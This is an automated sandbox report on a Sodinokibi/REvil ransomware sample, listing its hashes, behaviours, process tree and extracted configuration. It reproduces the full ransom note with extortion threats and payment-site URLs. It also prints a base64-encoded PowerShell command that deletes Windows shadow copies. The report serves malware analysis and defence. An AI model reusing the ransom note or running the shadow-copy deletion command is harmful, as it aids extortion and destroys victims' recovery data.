Overview

overview

10

Static

static

10

c5d96530df...a5.exe

windows7_x64

10

c5d96530df...a5.exe

windows10_x64

10

Analysis

  • max time kernel
    139s
  • max time network
    169s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 01:06

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General

  • Target

    c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe

  • Size

    201KB

  • MD5

    ccc2793bc8d73bd6771379ae5eff8c16

  • SHA1

    c194ebc9a23aa174c3817dd17c8791acd9d3b419

  • SHA256

    c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5

  • SHA512

    5f8630dfbcc0fb52a09d71fbd8881244c150c45f3e4c94caa49b109bdfd0ecb96dd8776aea74a52f498ea60fb13a2f5926424d4d065da4ed09b1b7d2415cd0c2

Score
10/10
sodinokibipersistenceransomware

Malware Config

Extracted

Path

C:\dly59kp-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion dly59kp. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B98AA334B2DA8E93 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/B98AA334B2DA8E93 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: WuyottCFgVLwlo2Sbv/Vp0c4ooxsvMd/XgJ8S7eQRXXWVJUQ0tvZrLZHBQJgr7Tj O+Le3K9JRtvpRA0g1WpXSQLcWW62sXC08eN0lQyElRHM9cwgwJKcYgii7oVzRTyf DqPRdRzohsexJwHDcSQ6GCk7wL40BA8ddEXgF616HSSgV8cqmhdwTDF8ri+EfHH7 +hiO25BlmFvBWn0VbnLTHwMe+OEJT0A6aQtxjoYTwJbahDBsdXjIJGmJW2ZL88sT n9u8uJ82jbHcGJ4mjpXRQSFeKxzMe9ZeWInFlmGbXT/eDgL75sI664L/G1X7Ngyn yJ+I68l/k2p3lfooqvYWEjN36sLuYGteK12HOZeYmc0KVBoWAAku7lOCa0I4okdw 5lUNJTMDetKHBBP4z99QeNs8xbNuPE/cGhAhNm4UVf4Pzqlp6LhY4Vq2X294aazs GHBmDv7jKO/qLzv70avb8YLJPAP7gldq/tU7Mqq/7u8w4CvC3+y+3GN+4lfpbV73 UU502bJ2qDrmcAmkzCKThxNP9vV63w+kpWog9Rr+enObL28Zvuz4NKyymXaQ2oGq tYS0zLaiPb9sO1DUFN8kC2iQO/YRvoH3XxHSJuJOU7iswFOEjetF/yVYYonnjINh uVpp6iEVF5PciIK4QaKWzbY8MUtY4pOxjOkWKGMsF3HAcCsS4LrApoCUmJBhQY5x ywgubE1q1jEbjiSdJHWdNJ++qVxiFpnG/fvM4kWw/Tj4UXL75vUeHnkf3IW5P+T2 4Ybj60Gv0/sa8uhlJc9cWqTPqO9XnmxdjBju5X2VyzdDhEB5dmH1edSXPAG9hUei 2qmjCocRiRAYm1lfG2bOcdGyRwj6fSx8cNKflvaarEZOwl4gi8QxM7wtEbq6A4EN ProTJPtuWuqEWTMsgKUGNSj1zR8BVlF297lOPpPOfDTTq0bq4Kbd3OTWkkd2Nj3P duF8AiLqPUK481FDWy25hKLqPLs0Uoy9Kifn4H658T1iNp7NKcCMtB3ZQvFhagN2 opp/LvEo18lqj58NYxSwhCXiB1lR3pGHh3aNNnkXMHMfG0UBBHFB545/RdzKRtNE /kkkULuGhDVIt6ZoBwJpPxyis4riKEV/5zisT32RZyF2tEnHKGXt0zd5+OAyq0Aw H2oIJUxb1lR2fEvfk0u/STsMBKKmPAy1u5rkLpXEBh5C+WcQlrOxMTaoy4YGWm5s zdsreQKp7G3LcWj1P+W05D9mpceHOi6uL6xUKFtpSr110rGEkJ9odi+yK72fq+1M 6W2kBYJtYN7VKqsUdL0ZO9juhUbQKchDqHo= Extension name: dly59kp ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B98AA334B2DA8E93

http://decryptor.cc/B98AA334B2DA8E93

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 37 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe
    "C:\Users\Admin\AppData\Local\Temp\c5d96530dfe3ac2c8330bc798beafe36b05d9c403ad98764fefcdc3157f0dda5.exe"
    1⤵
    • Modifies extensions of user files
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1668
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:560
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1568

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • \??\PIPE\srvsvc
      MD5

      d41d8cd98f00b204e9800998ecf8427e

      SHA1

      da39a3ee5e6b4b0d3255bfef95601890afd80709

      SHA256

      e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

      SHA512

      cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

      Download Submit
    • memory/1668-56-0x000007FEFB631000-0x000007FEFB633000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1668-57-0x00000000029E0000-0x00000000029E2000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1668-60-0x00000000029E4000-0x00000000029E7000-memory.dmp
      Filesize

      12KB

      Download
    • memory/1668-59-0x00000000029E2000-0x00000000029E4000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1668-58-0x000007FEF2820000-0x000007FEF337D000-memory.dmp
      Filesize

      11.4MB

      Download
    • memory/1668-61-0x00000000029EB000-0x0000000002A0A000-memory.dmp
      Filesize

      124KB

      Download
    • memory/1964-55-0x0000000074B21000-0x0000000074B23000-memory.dmp
      Filesize

      8KB

      Download